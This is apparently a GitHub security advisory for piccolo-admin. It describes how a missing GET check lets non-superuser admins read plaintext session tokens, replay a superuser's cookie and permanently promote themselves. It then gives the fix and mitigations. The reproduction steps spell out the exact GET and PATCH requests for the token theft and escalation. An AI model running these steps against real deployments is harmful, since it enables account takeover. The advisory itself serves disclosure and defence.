GHSA-2gh4-jmwq-rr8w: Infoleak
Summary
piccoloadmin uses a helper called superuservalidators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject GET.
The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own Cookie: id=…, impersonate that user (including the superuser), and then permanently self-promote by writing superuser = true on their own row.
The chain is reachable on a realistic, documented configuration: a deployer adds the Sessions (and User) tables to createadmin([...]) so superusers have a UI to monitor and revoke sessions.
Affected component
- File: piccoloadmin/endpoints.py - Function: superuservalidators (around line 419)
python def superuservalidators(piccolocrud: PiccoloCRUD, request: Request): user: BaseUser = request.user.user if not user.superuser: if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]: raise HTTPException( detail="Only superusers can perform these actions.", statuscode=405, )
The method check is a deny-list instead of an allow-list; GET is absent. Compounding the issue, SessionsBase.token in piccoloapi/sessionauth/tables.py is a Varchar without secret=True, so the default excludesecrets=True in PiccoloCRUD does not strip it.
Preconditions
1. Network reachability to the admin. 2. Valid credentials for a non-superuser admin (admin=True, superuser=False — the default role created by BaseUser.createuser(admin=True)). 3. The deployment includes the Sessions table (and typically the User table) in createadmin([...]) — the documented pattern for "active sessions" management UIs.
Steps to reproduce
1. Log in as the non-superuser admin (john / john123). Open the Piccolo User table and confirm john's SUPERUSER column is ✗. (See Screenshot 1.) <img width="3024" height="1430" alt="01-john-piccolouser-list" src="https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9" />
2. Attempt the target write directly. Send the following request:
http PATCH /api/tables/piccolouser/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=<john's session>; csrftoken=<token> X-CSRFToken: <token>
{"superuser": true}
The server returns:
HTTP/1.1 405 {"detail":"Only superusers can perform these actions."}
The same response is shown both in the dashboard banner (Screenshot 2) and in Burp Repeater (Screenshot 3). This establishes the privilege boundary that the bug will break. <img width="3024" height="2158" alt="02-john-save-blocked-405" src="https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0" /> <img width="1213" height="713" alt="03-john-save-blocked-405" src="https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702" />
3. Leak the credential. As the same john user, request:
http GET /api/tables/sessions/ HTTP/1.1 Host: target:8001 Cookie: id=<john's session>; csrftoken=<token>
Response: 200 OK containing every active session in plaintext, e.g.
json {"rows":[ {"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","userid":1, ...}, {"token":"...","userid":2, ...}, ... ]}
Copy the token value of any row whose userid matches the superuser. That string IS the live session cookie of that user. (Screenshot 4.) <img width="1512" height="850" alt="04-john-sees-all-session-tokens" src="https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529" />
4. Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the Cookie: id= value to the stolen token:
http PATCH /api/tables/piccolouser/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=<token> X-CSRFToken: <token>
{"superuser": true}
Response: 200 OK, body shows "superuser": true for john. (Screenshot 5.) <img width="1213" height="713" alt="05-john-self-promote" src="https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e" />
5. Verify persistence. Log in fresh as john / john123 (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row.
Impact
Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:
- read/write/delete any row in any table the admin exposes; - revoke any other session, locking out other admins; - change any user's password; - export data (including via the bulk CSV download forms); - plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.
Persistence is automatic — once the attacker writes superuser=true on their own row in step 4, the stolen cookie can be discarded.
Suggested fix
Primary (single-line): make superuservalidators reject all requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context:
python def superuservalidators(piccolocrud, request): if not request.user.user.superuser: raise HTTPException( statuscode=403, detail="Only superusers can access this resource.", )
Defence in depth: in piccoloapi/sessionauth/tables.py, mark SessionsBase.token with secret=True. The existing excludesecrets=True default on PiccoloCRUD then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.
Severity
CVSS 3.1: 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Reasoning: - AV:N — accessible over the network. - AC:L — single GET; no race or timing dependency. - PR:L — requires non-superuser admin credentials (the default admin role). - UI:N — no victim interaction needed. - S:U — scope kept Unchanged to be conservative; some auditors may prefer S:C (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate. - C:H / I:H / A:H — full read, full write, full availability impact on the admin's data and on other users' sessions.
Weaknesses
- CWE-269 Improper Privilege Management (primary) - CWE-200 Exposure of Sensitive Information to an Unauthorized Actor - CWE-863 Incorrect Authorization
Notes for the maintainer
- The vulnerability is reachable on any version where superuservalidators uses a method deny-list and SessionsBase.token is not secret=True. I tested against piccoloadmin 1.13.0 + piccoloapi 1.9.0. - The shipped admindemo does not expose the Sessions table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal createadmin([..., TableConfig(User), TableConfig(Sessions)], authtable=User, sessiontable=Sessions) configuration, which mirrors the documented "Sessions admin view" pattern. - I'm happy to coordinate disclosure timing and validate any candidate patch.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/piccolo-adminto a version that resolves this vulnerability.Fixed in 1.14.0 - Configuration
Mark `SessionsBase.token` with `secret=True` in `piccolo_api/session_auth/tables.py` so session tokens are treated as secrets and not returned in `PiccoloCRUD` responses when `exclude_secrets=True`.
piccolo_api/session_auth/tables.py (SessionsBase.token) secret = true - Configuration
Modify `superuser_validators` (around line 419 in `piccolo_admin/endpoints.py`) so it rejects **all** requests from non-superusers (not just `PUT`, `PATCH`, `DELETE`, `POST`), because `GET` is currently not rejected and enables session-token leakage/impersonation.
piccolo_admin/endpoints.py (superuser_validators) superuser_validators method allow/deny policy = reject all non-superuser requests
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
Deployments are exposed when they add the Sessions and User tables to create_admin([...]) so they can be managed through the admin interface. In that configuration, a non-superuser admin can read session records despite the intended access restriction.
What access does an attacker need to exploit it?
The attacker needs access as a non-superuser administrator. They can issue a GET request to list session records, obtain live plaintext session tokens, and replay a token in a Cookie: id=… header to impersonate another user.
Can this lead to full administrative takeover?
Yes. If a superuser session token is obtained and replayed, the attacker can impersonate the superuser and set superuser = true on their own user row, making the privilege escalation persistent.
What is the immediate mitigation if patching is not possible?
Remove the Sessions and User tables from create_admin([...]) to prevent their exposure through the admin interface. Because exposed session tokens can be replayed, affected deployments should also treat existing live tokens as compromised.